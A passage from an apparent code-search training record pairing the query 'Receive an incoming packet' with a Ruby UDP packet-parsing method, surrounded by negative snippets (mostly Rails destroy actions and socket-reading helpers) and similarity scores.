state\n end\n end", "def destroy\n @tender_state = TenderState.find(params[:id])\n @tender_state.destroy\n\n respond_to do |format|\n format.html { redirect_to tender_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @expense_state = ExpenseState.find(params[:id])\n @expense_state.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event_state.destroy\n respond_to do |format|\n format.html { redirect_to event_states_url, notice: 'Event state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @modelstate.destroy\n respond_to do |format|\n format.html { redirect_to modelstates_url }\n format.json { head :no_content }\n end\n end", "def clear_state\n @state.clear\n self\n end", "def destroy\n @asset_state = AssetState.find(params[:id])\n @asset_state.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @current_state.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'CurrentState was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @program_state.destroy\n respond_to do |format|\n format.html { redirect_to program_states_url }\n format.json { head :no_content }\n end\n end", "def destroyed(event)\n self.state = nil if event.target.data[:id] == state\n refresh\n end", "def destroy\n @state.destroy\n respond_to do |format|\n format.html { redirect_to states_url }\n format.json { head :no_content }\n format.js { render json:{message:'State has been deleted.', status: :ok}}\n end\n end", "def destroy\n @federal_state.destroy\n respond_to do |format|\n format.html { redirect_to federal_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_state.destroy\n respond_to do |format|\n format.html { redirect_to user_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @state_type.destroy\n respond_to do |format|\n format.html { redirect_to state_types_url, notice: 'State type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @process_state.destroy\n respond_to do |format|\n format.html { redirect_to process_states_url }\n format.json { head :no_content }\n end\n end", "def destroy(state)\n hostname = state[:hostname]\n poolsclosed_delete(hostname)\n state.delete(:hostname)\n end", "def destroy\n @sprint_state.destroy\n respond_to do |format|\n format.html { redirect_to sprint_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @united_state.destroy\n respond_to do |format|\n format.html { redirect_to united_states_url, notice: 'United state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def pop_state\n @state.pop\n end", "def destroy(state_manager, game)\n end", "def remove_statefile(path)\n key = path.sub(\"#{statefiles_root}/#{@bucket}/\",'')\n delete_empty_statefile(key)\n end", "def discard_saved_state\n execute(\"discardstate\", @uuid)\n end", "def destroy\n @poll_workflow_state = PollWorkflowState.find(params[:id])\n @poll_workflow_state.destroy\n\n respond_to do |format|\n format.html { redirect_to poll_workflow_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @state_statistic.destroy\n respond_to do |format|\n format.html { redirect_to state_statistics_url, notice: 'State statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_state.destroy\n respond_to do |format|\n format.html { redirect_to user_states_url, notice: 'User state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @host_state.destroy\n respond_to do |format|\n format.html { redirect_to host_states_url, notice: 'Host state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy(_state)\n workflow do\n run_destroy.bind do\n remove_instance_directory\n end\n end\n end", "def destroy\n @property_state.destroy\n respond_to do |format|\n format.html { redirect_to property_states_url, notice: 'Property state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_from_state state, ios\n return if ios.empty?\n\n state.send do |state|\n SelectorState.new(state.active - ios,\n state.inactive - ios,\n hash_without_keys(state.receivers, ios))\n end\n rescue => e\n log(Logger::ERROR, self.to_s + '#remove_from_state', e.to_s)\n end", "def destroy\n @hand_state = HandState.find(params[:id])\n @hand_state.destroy\n\n respond_to do |format|\n format.html { redirect_to hand_states_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @socket_state = SocketState.find(params[:id])\n @socket_state.destroy\n\n respond_to do |format|\n format.html { redirect_to(socket_states_url) }\n format.xml { head :ok }\n end\n end", "def delete\n self.store -= self\n end", "def destroy\n @giftstate = Giftstate.find(params[:id])\n @giftstate.destroy\n\n respond_to do |format|\n format.html { redirect_to(giftstates_url) }\n format.xml { head :ok }\n end\n end", "def clear\n current_state.clear\n end", "def destroy\n @position_state.destroy\n respond_to do |format|\n format.html { redirect_to position_states_url, notice: 'Position state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_state = CulturalHeritage::State.find(params[:id])\n mensaje = @cultural_heritage_state.erasable\n if mensaje.blank?\n @cultural_heritage_state.deleted = 1\n @cultural_heritage_state.save\n end\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_states_url, :notice => mensaje) }\n format.xml { head :ok }\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end", "def destroy\n @empire_rc_state.destroy\n respond_to do |format|\n format.html { redirect_to empire_rc_states_url, notice: 'Empire rc state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def on_state_erase(state_id)\n reset_effect_param_cache\n end", "def destroy\n @project = @kanban_state.project\n\n authorize @kanban_state\n\n @project.tasks.where(kanban_state_id: @kanban_state.id).each do |task|\n task.update_attributes(kanban_state_id: nil)\n end\n @kanban_state.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_admin_project_path(@kanban_state.project_id, anchor: \"kanban_states\"), notice: t('actions.destroyed_with_success')}\n format.json { head :no_content }\n end\n end", "def remove_payment\n @payment = Payment.find(params[:id])\n @payment.update!(state: 2)\n end", "def destroy\n @ticketstate.destroy\n respond_to do |format|\n format.html { redirect_to ticketstates_url, notice: '删除成功' }\n format.json { head :no_content }\n end\n end", "def del\n delete\n end", "def delete\n self.update(active: false)\n end", "def delete\n self.update(active: false)\n end", "def destroy\n @stateform.destroy\n respond_to do |format|\n format.html { redirect_to stateforms_url, notice: 'stateform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def set_event_delete_state(event_id, map_id = $game_map.map_id, state = true)\n deleted_events = @deleted_events = {} unless (deleted_events = @deleted_events)\n deleted_events[map_id] = {} unless deleted_events[map_id]\n deleted_events[map_id][event_id] = state\n end", "def delete_state_for_user(opts = {})\n uri = \"/v3/botstate/#{opts['channel_id']}/users/#{opts['user_id']}\"\n api_delete(uri)\n end", "def clearState()\n\t\t\t@_previous_state = @_state\n\t\t\t@_state = nil\n\t\tend", "def destroy \n \n @pastor = Pastor.find(params[:id])\n @pastor.update_attributes(:state => false) \n\n respond_to do |format|\n format.html { redirect_to(pastors_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n end", "def destroy\n \n end", "def destroy\n @state_cadre = StateCadre.find(params[:id])\n @state_cadre.destroy\n\n respond_to do |format|\n format.html { redirect_to state_cadres_url }\n format.json { head :no_content }\n end\n end", "def delete(p)\n @store.delete(p)\n end", "def destroy\n @surgery_state.destroy\n respond_to do |format|\n format.html { redirect_to surgery_states_url, notice: 'Surgery state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete; update(:status => 'DELETED'); end", "def delete\n # TODO: implement delete\n end", "def destroy\n # @product_verify_state.destroy\n @product_verify_state.stoped_at = DateTime.now\n @product_verify_state.stop_user_id = session[:user_id]\n @product_verify_state.state='N'\n @product_verify_state.save\n\n\n respond_to do |format|\n format.html { redirect_to product_verify_states_url }\n format.json { head :no_content }\n end\n end", "def discard_saved_state\n end", "def delete\n \n end", "def cleanup_state\n delete_if_exists(state_file_path)\n delete_if_exists(chef_file_path)\n delete_if_exists(past_scripts_path)\n delete_if_exists(log_path)\n end", "def state_removed! statemachine\n transitions_changed!\n end", "def destroy\n @state_copd.destroy\n respond_to do |format|\n format.html { redirect_to state_copds_url, notice: 'State copd was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @receipt_state.destroy\n respond_to do |format|\n format.html { redirect_to receipt_states_url, notice: 'Receipt state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @estate = Estate.find(params[:id])\n @estate.destroy\n\n respond_to do |format|\n format.html { redirect_to estates_url }\n format.json { head :no_content }\n end\n end", "def destroy; delete end", "def destroy\n @private_message_state.destroy\n respond_to do |format|\n format.html { redirect_to private_message_states_url, notice: 'Private message state was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n end", "def destroy\n @state_prov.destroy\n respond_to do |format|\n format.html { redirect_to state_provs_url, notice: 'State prov was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroye\n self.update_attribute(:status,7)\n end", "def destroy\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_conservational_state = CulturalHeritage::ConservationalState.find(params[:id])\n #@cultural_heritage_conservational_state.destroy\n mensaje = @cultural_heritage_conservational_state.erasable\n if mensaje.blank?\n @cultural_heritage_conservational_state.deleted = 1\n @cultural_heritage_conservational_state.save\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_conservational_states_url) }\n format.xml { head :ok }\n end\n else\n respond_to do |format|\n format.html { redirect_to(cultural_heritage_conservational_states_url, :notice => mensaje) }\n end\n end \n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end", "def drop( number )\n\n load_parent_state\n \n return super\n\n end", "def destroy\n @step.destroy\n end", "def destroy\n @step.destroy\n end" ]
[ "0.8555764", "0.82718337", "0.82718337", "0.75003797", "0.7347857", "0.73146665", "0.72802216", "0.7214706", "0.7214706", "0.7193557", "0.70991397", "0.7049778", "0.69601226", "0.69601226", "0.6918623", "0.6828458", "0.68117195", "0.679827", "0.67634714", "0.67495763", "0.67248493", "0.67185223", "0.6683114", "0.6679936", "0.664529", "0.6610157", "0.66058135", "0.6569138", "0.6552243", "0.6530891", "0.6525538", "0.65204984", "0.65125245", "0.6493997", "0.6481903", "0.64477706", "0.643076", "0.64240605", "0.64123416", "0.63912225", "0.63624674", "0.634127", "0.633413", "0.6323178", "0.6314629", "0.6313003", "0.62697697", "0.6251075", "0.6250279", "0.6239973", "0.62381244", "0.6228208", "0.62108034", "0.61941326", "0.61897445", "0.6183998", "0.61824155", "0.617342", "0.6166228", "0.61560565", "0.61387753", "0.6117267", "0.61052144", "0.60834414", "0.6070619", "0.6060428", "0.6050672", "0.6039966", "0.6023784", "0.60098284", "0.60098284", "0.6005231", "0.59952855", "0.5992168", "0.5984414", "0.5969963", "0.5959434", "0.5959434", "0.59557724", "0.5953819", "0.59501284", "0.5945996", "0.59394825", "0.5934098", "0.59253126", "0.592501", "0.5920028", "0.5908221", "0.590764", "0.5887621", "0.5879294", "0.58711076", "0.58243144", "0.58217317", "0.5797732", "0.576102", "0.5752448", "0.5750984", "0.572974", "0.572974" ]
0.7615763
3
Receive an incoming packet. Return true if parsed, false if not.
def packet(pkt) super(pkt) # Only process packets with length right now return nil unless pkt.udp_data.length > 0 # Determine the packet's direction (up == src -> dst) dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down # First, identify if this is a new stream or part of one on which we are # already keeping state. state = identify_state(pkt, :udp, false) state.udp_init(pkt, @event_collector) unless state.layer_4 @protos.parse(pkt.udp_data, state, dir) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def receive_packet\n\t\treturn parser.recv(self.sock)\n\tend", "def receive?\n type == 'receive'\n end", "def received?\n status.received? || status.read?\n end", "def recv\n data = String.new\n data << @socket.gets until data.match(/\\r\\n$/)\n Parser.parse(data)\n end", "def parse\n parse_command_and_headers if @frame.command.nil?\n success = if @frame.command\n if @body_length\n parse_binary_body\n else\n parse_text_body\n end\n elsif (match = @buffer.match(/\\A\\n|\\A\\r|\\A\\r\\n/))\n # Ignore heartbeat\n @buffer = match.post_match\n true\n end\n\n # Keep parsing if making progress and there is more data\n parse if success && [email protected]?\n true\n end", "def readable?\n return false if @socket.closed?\n r,_,_ = Kernel.select([@socket], nil, nil, @timeout) rescue nil\n return !(r.nil? or r.empty?)\n end", "def receive\n parse(recv)\n end", "def _receive_result state\n unless @one_way || state.message.one_way\n state.result_payload = _read(state.in_stream, state)\n true\n end\n end", "def receive_any(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Advertise\n RightLinkLog.info(\"RECV #{packet.to_s}\") unless RightLinkLog.level == :debug\n advertise_services\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n when Result\n RightLinkLog.info(\"RECV #{packet.to_s([])}\") unless RightLinkLog.level == :debug\n @mapper_proxy.handle_result(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid packet: #{packet.to_s}\")\n end\n true\n end", "def receive_request(packet)\n RightLinkLog.debug(\"RECV #{packet.to_s}\")\n case packet\n when Request, Push\n RightLinkLog.info(\"RECV #{packet.to_s([:from, :tags])}\") unless RightLinkLog.level == :debug\n @dispatcher.dispatch(packet)\n else\n RightLinkLog.error(\"Agent #{@identity} received invalid request packet: #{packet.to_s}\")\n end\n true\n end", "def pull?\n @data_bytes[1] != 0\n end", "def can_receive?\n if (self.state == 'C' or self.state == 'F')\n return true\n end\n return false\n end", "def can_recv?\n @socket.events & ZMQ::Poller::POLLIN == ZMQ::Poller::POLLIN\n end", "def receive_data\n if @socket\n # udp receive\n @socket.recvfrom(1024)\n else\n # tcp receive\n sleep 0.1\n if $received_data\n $received_data.shift\n else\n fail 'no data'\n end\n end\n end", "def waiting_for?(packet)\n\t\treturn (packet.rid == rid)\n\tend", "def received?\n !!self.received_at?\n end", "def reading?\n status.received?\n end", "def read_packet; end", "def process(packet)\n @init.call(Net::SSH::Packet.new(packet.to_s)) if @init\n type = packet.read_byte\n raise \"expected #{@type}, but got #{type}\" if @type != type\n\n @data.zip(types).each do |expected, _type|\n _type ||= case expected\n when nil then break\n when Numeric then :long\n when String then :string\n when TrueClass, FalseClass then :bool\n end\n\n actual = packet.send(\"read_#{_type}\")\n next if expected.nil?\n raise \"expected #{_type} #{expected.inspect} but got #{actual.inspect}\" unless expected == actual\n end\n end", "def receive_po\n is_received?\n end", "def reply\n bytes_read = receive_packet 1400\n is_compressed = false\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n # Parsing of split packet headers\n request_id = @buffer.long\n is_compressed = ((request_id & 0x80000000) != 0)\n packet_count = @buffer.byte\n packet_number = @buffer.byte + 1\n\n if is_compressed\n @buffer.long\n packet_checksum = @buffer.long\n else\n @buffer.short\n end\n\n # Caching of split packet data\n split_packets[packet_number - 1] = @buffer.get\n\n puts \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\" if $DEBUG\n\n # Receiving the next packet\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue TimeoutException\n bytes_read = 0\n end\n else\n bytes_read = 0\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n if is_compressed\n packet = SteamPacketFactory.reassemble_packet(split_packets, true, packet_checksum)\n else\n packet = SteamPacketFactory.reassemble_packet(split_packets)\n end\n else\n packet = SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n if is_compressed\n puts \"Got compressed reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n else\n puts \"Got reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n end\n\n packet\n end", "def received?\r\n self['trans_status']=='99'\r\n end", "def receive\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n self.sendcmd(\"main.rx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n return false\n end\n end", "def attempt_read\n # Return false if we have nothing else to read\n return false if @native_channel.eof\n\n # Attempt to read from stdout/stderr\n @session.blocking_call { read_stream(STREAM_DATA) }\n @session.blocking_call { read_stream(STREAM_EXTENDED_DATA) }\n\n # Return true always\n true\n end", "def fin?\n Capp::TCP_FIN == flags & Capp::TCP_FIN\n end", "def check ()\n\t return \"OK\" if @simulate\n\t return \"IES\" unless @sock\n\t @sock.readline().chomp\n\tend", "def receive( pkt )\n if @first_packet[:FORWARD] == nil\n @first_packet[:FORWARD] = pkt\n direction = :FORWARD\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_src and @first_packet[:FORWARD].ip_dst == pkt.ip_dst and\n @first_packet[:FORWARD].sport == pkt.sport and @first_packet[:FORWARD].dport == pkt.dport\n direction = :FORWARD\n elsif @first_packet[:REVERSE] == nil and\n @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n @first_packet[:REVERSE] = pkt\n direction = :REVERSE\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n direction = :REVERSE\n else\n raise 'assert in udp packet receiver'\n end\n @n_packets[direction] += 1\n @size[direction] += pkt.udp_len\n @last_packet[direction] = pkt\n end", "def handle(pkt)\n # puts \"Received packet, current state: #{@state}, buffer length: #{@recv_buffer.size}\"\n # puts \"tcp_flags: #{pkt.tcp_flags.inspect}\"\n\n @client_next_seq = pkt.tcp_seq + 1\n @server_ack_seq = pkt.tcp_ack\n\n if pkt.tcp_flags.rst == 1\n @state = CLOSED_STATE\n elsif pkt.tcp_flags.syn == 1\n if @state == SYN_SENT_STATE\n @state = ESTABLISHED_STATE\n send_ack\n end\n elsif pkt.tcp_flags.fin == 1\n if @state == ESTABLISHED_STATE\n @state = LAST_ACK_STATE\n send_ack([:fin])\n elsif @state == FIN_WAIT_1_STATE\n @state = CLOSED_STATE\n send_ack\n end\n elsif pkt.payload.length > 0\n @recv_buffer += pkt.payload\n send_ack\n elsif pkt.tcp_flags.ack == 1\n if @state == LAST_ACK_STATE\n @state = CLOSED_STATE\n end\n end\n\n @state\n end", "def parsed?\n @raw.nil?\n end", "def reader_ready?\n IO.select([@socket],nil,nil,0) != nil\n end", "def reply\n receive_packet 1400\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n request_id = @buffer.long\n packet_number_and_count = @buffer.getbyte\n packet_count = packet_number_and_count & 0xF\n packet_number = (packet_number_and_count >> 4) + 1\n\n split_packets[packet_number - 1] = @buffer.get\n\n log.debug \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\"\n\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue SteamCondenser::Error::Timeout\n bytes_read = 0\n end\n else\n bytes_read = 0\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.reassemble_packet(split_packets)\n else\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n log.debug \"Got reply of type \\\"#{packet.class.to_s}\\\".\"\n\n packet\n end", "def reply\n receive_packet 1400\n is_compressed = false\n packet_checksum = 0\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n request_id = @buffer.long\n is_compressed = ((request_id & 0x80000000) != 0)\n packet_count = @buffer.getbyte\n packet_number = @buffer.getbyte + 1\n\n if is_compressed\n @buffer.long\n packet_checksum = @buffer.long\n else\n @buffer.short\n end\n\n split_packets[packet_number - 1] = @buffer.get\n\n log.debug \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\"\n\n bytes_read = 0\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue SteamCondenser::Error::Timeout\n end\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.reassemble_packet(split_packets, is_compressed, packet_checksum)\n else\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n if log.debug?\n packet_class = packet.class.name[/[^:]*\\z/]\n if is_compressed\n log.debug \"Got compressed reply of type \\\"#{packet_class}\\\".\"\n else\n log.debug \"Got reply of type \\\"#{packet_class}\\\".\"\n end\n end\n\n packet\n end", "def receive data\n data.each_char do |char|\n @buffer.concat char\n if @in_header\n prepare_to_parse_message if @buffer.end_with?(\"\\r\\n\\r\\n\")\n else\n parse_message_from_buffer if @buffer.bytesize == @content_length\n end\n end\n end", "def connected?\n\t\t\t\treturn false if @io.closed?\n\t\t\t\t\n\t\t\t\t# If we can wait for the socket to become readable, we know that the socket may still be open.\n\t\t\t\tresult = to_io.recv_nonblock(1, MSG_PEEK, exception: false)\n\t\t\t\t\n\t\t\t\t# Either there was some data available, or we can wait to see if there is data avaialble.\n\t\t\t\treturn !result.empty? || result == :wait_readable\n\t\t\t\t\n\t\t\trescue Errno::ECONNRESET\n\t\t\t\t# This might be thrown by recv_nonblock.\n\t\t\t\treturn false\n\t\t\tend", "def recv(*args)\n data = recv_raw(*args)\n Packet.decode(data)\n rescue\n end", "def read_packet\n length = @socket.read( 4 ).unpack( \"N\" ).first - 1\n type = @socket.read( 1 ).unpack( \"C\" ).first\n reader = @buffers.reader( @socket.read( length ) )\n return type, reader\n end", "def receive(opts={})\n\t\ttimeout = opts.fetch(:timeout, 40).to_i\n\t\twait_for_null = opts.fetch(:wait_for_null, true)\n\t\t\n\t\tresponse = \"\"\n\t\t\n\t\t# Wait for data to become available on the socket\n\t\tres = select([@sock], nil, nil, timeout)\n\t\tif (res == nil)\n\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\tend\n\t\t\n\t\tif (wait_for_null)\n\t\t\tbegin\n\t\t\t\ttimeout(timeout) {\n\t\t\t\t\tresponse = @sock.gets(\"\\0\")\n\t\t\t\t}\n\t\t\trescue Timeout::Error\n\t\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\tresponse.strip!\n\t\t\t\n\t\t\tif response.include? \"Error\"\n\t\t\t\traise response if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\t# If this is a response to a Quit command, the reader will close the socket. \n\t\t\t# If there is an active connection, the reader will reject our attempt to connect.\n\t\t\t# Either way, we're not connected anymore...\n\t\t\tif (response.include? \"Goodbye!\")\n\t\t\t\tclose(false)\n\t\t\tend\n\t\t\t\n\t\t\treturn response\n\t\telse\n\t\t\t# Simply try to read up to 1 kB and return it (no timeout)\n\t\t\treturn @sock.recv(1024)\n\t\tend\n\tend", "def receive_data data\n if @state == :state_playing\n @bust_prompt = true\n $last_sent = '\\n'\n end\n\n data = \"\\n\" if data == nil\n data.gsub!(/\\r\\n|\\n\\r|\\r|\\n/,\"\\n\")\n data = \"\\n\" if data.empty?\n\n # separates telnet sequence from main data stream. Returns the telnet sequences in their own string in the queue.\n a = @network_parser.resume data\n\n a.each do |d|\n data.gsub!(/\\n/, \"\")\n if d.length == 0\n a.delete d\n end\n end \n \n a << \"\" if a.empty?\n\n a.each do |d|\n @input_queue.push d\n end\n \n ## Ok, check we need to shift a command off the top.\n while !@input_queue.empty?\n comm = @input_queue.shift\n \n return if comm == nil \n\n # next if comm.length == 0\n if comm.length != 0 && comm[0].ord == IAC\n # let's see if it matches one we know of.\n do_mxp = DO_MXP \n dont_mxp = DONT_MXP\n do_mccp = DO_MCCP\n dont_mccp = DONT_MCCP \n\n if do_mccp == comm\n log :debug, \"telnet do mccp sequence detected.\"\n# mccp_initialize(self)\n end\n if do_mxp == comm\n mxp_initialize(self)\n log :debug, \"telnet do mxp sequence detected.\"\n end \n log :debug, \"telnet sequence detected.\"\n next ### it's a telnet sequence\n end\n case @state\n when :state_new_connection\n if @nanny.alive?\n if (@nanny.resume comm.downcase) == true\n text_to_socket \"Closing connection.\" + ENDL\n close_connection\n return\n end\n end\n when :state_playing\n \n handle_cmd_input comm\n else\n log :error, \"Socket in bad state.\"\n end\n end\n end", "def checkStream(pkt)\n\terrorDetected = false;\n\t$incident = \"test\"\n\n\t# Check TCP vulnerabilities\n\tif pkt.proto.last == \"TCP\"\n\t\tif checkNull(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"NULL\"\n\t\telsif checkFin(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"FIN\"\n\t\telsif checkXMAS(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"XMAS\"\n\t\tend\n\telse\n\t\tif checkNikto(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"nikto\"\n\t\telsif checkNmap(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Nmap\"\n\t\telsif checkCreditCard(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Credit card leaked\"\n\t\tend\n\tend\n\n\tif errorDetected\n\t\tputs \"#{$incident_number}. ALERT: #{$incident} is detected from #{pkt.ip_saddr} (#{pkt.proto.last}) (#{pkt.payload})!\"\t\n\t\t$incident_number = $incident_number + 1\n\tend\nend", "def parse\n case @state\n when :root\n return false unless parse_root_state\n when :command\n parse_command_state\n else\n raise_parser_error 'Unknown parser state'\n end\n\n true\n end", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def receive\n begin\n paylaod_length = Protocol::Common::DataTypes::Uint32.decode(@io_in)\n rescue NoMethodError\n nil\n else\n payload = @io_in.read(paylaod_length)\n if payload.nil? || payload.bytesize != paylaod_length\n nil\n else\n payload\n end\n end\n end", "def read_frame\n byte = read_and_unpack_byte\n fin = (byte & 0b10000000) == 0b10000000\n rsv1 = byte & 0b01000000\n rsv2 = byte & 0b00100000\n rsv3 = byte & 0b00010000\n opcode = byte & 0b00001111\n\n @logger.debug \"unexpected value: rsv1: #{rsv1}\" unless rsv1 == 0\n @logger.debug \"unexpected value: rsv2: #{rsv2}\" unless rsv2 == 0\n @logger.debug \"unexpected value: rsv3: #{rsv3}\" unless rsv3 == 0\n\n byte = read_and_unpack_byte\n mask = (byte & 0b10000000) == 0b10000000\n lenflag = byte & 0b01111111\n\n # if len <= 125, this is the length\n # if len == 126, length is encoded on next two bytes\n # if len == 127, length is encoded on next eight bytes\n len = case lenflag\n when 126 # 2 bytes\n bytes = @sock.read(2)\n len = bytes.unpack(\"n\")[0]\n when 127 # 8 bytes\n bytes = @sock.read(8)\n len = bytes.unpack(\"Q\")[0]\n else\n lenflag\n end\n\n if mask then\n masking_key = @sock.read(4).unpack(\"C*\")\n end\n\n payload = @sock.read(len)\n payload = apply_mask(payload, masking_key) if mask\n\n return fin, opcode, mask, len, masking_key, payload\n end", "def receive_data(response)\n ip, port = peer_info\n UPnP::SSDP.log \"<#{self.class}> Response from #{ip}:#{port}:\\n#{response}\\n\"\n parsed_response = parse(response)\n\n return unless parsed_response.has_key? :nts\n\n if parsed_response[:nts] == \"ssdp:alive\"\n @alive_notifications << parsed_response\n elsif parsed_response[:nts] == \"ssdp:byebye\"\n @byebye_notifications << parsed_response\n else\n raise \"Unknown NTS value: #{parsed_response[:nts]}\"\n end\n end", "def read\n @socket.gets\n end", "def listen\n\t\trec = @sp.gets(sep=\"\\r\")\n\t\[email protected] \"Rx: \" + rec\n\t\treturn rec\n\t end", "def receive_packet(response)\n pending_pos = nil\n pending_callback = nil\n @pending.each_with_index do |(pending_opaque,pending_cb),i|\n if response[:opaque] == pending_opaque\n pending_pos = i\n pending_callback = pending_cb\n break\n end\n end\n\n if pending_pos\n @pending = @pending[pending_pos..-1]\n begin\n if pending_callback.call(response) != :proceed\n @pending.shift\n end\n rescue Exception => e\n $stderr.puts \"#{e.class}: #{e}\\n\" + e.backtrace.join(\"\\n\")\n end\n end\n end", "def received?\n received_event_parameters\n end", "def receive_message\n @@parms[:verbose] and $>.puts \"Received complete message\"\n true\n end", "def is_receiving_data\n if defined? TsPoint\n return IsTsInstrumentAlive.call(TsPoint, \"value\", self.id, self.sample_rate_seconds+5)\n else\n return false\n end\n end", "def receive_until_token(token)\n received = \"\"\n begin\n byte = @socket.recv(1)\n @receive_buffer << byte\n received << byte\n \n # handle control bytes\n case byte\n when REQUEST_WINDOW_SIZE\n @logger.debug(\"request: window / screen size\") if @logger\n @socket.print(window_size_message)\n when REQUEST_CLEAR_BUFFER\n @logger.debug(\"request: clear buffer\") if @logger\n @receive_buffer = \"\"\n when REQUEST_SWITCH_TO_RAW\n @logger.debug(\"request: switch to raw\") if @logger\n # ...\n when REQUEST_SWITCH_TO_NORMAL\n @logger.debug(\"request: switch to normal\") if @logger\n # ...\n end\n end while !(@receive_buffer =~ token)\n @logger.debug(\"received: #{received.inspect}\") if @logger\n received\n end", "def receive_message\n #$>.puts \"Received complete message\"\n true\n end", "def receive_recipient(address)\n if m = address.match(/<([^>]+)>/)\n @rcpt_to = m[1]\n return true\n else\n @rcpt_to = nil\n return false\n end\n end", "def process(socket, input)\n data = input.chomp.split\n # verify the data\n if not data.shift == magic_string\n return false\n elsif not @commands.include?(data.first)\n raise SocketMessageError.new(\"#{data.first} is not a valid command.\")\n return false\n else\n send(\"process_\" + data.shift.downcase, *data << socket)\n end\n return true\n end", "def allow?(packet); end", "def event_received(sequence)\n false # return true if we handled the event here\n end", "def eof?\n @sock.closed?\n end", "def readable?(timeout)\n readable, writable, errors = IO.select([@socket], nil, nil, timeout)\n return !readable.nil?\n end", "def read_incoming_data\n begin\n line = @socket.gets\n rescue StandardError => boom\n @dead_socket = true\n report \"+++ERROR in read_incoming_data -> @socket.gets: #{boom.inspect}\"\n end\n\n # If we somehow got no data here, the socket is closed. Run away!!!\n if !line\n 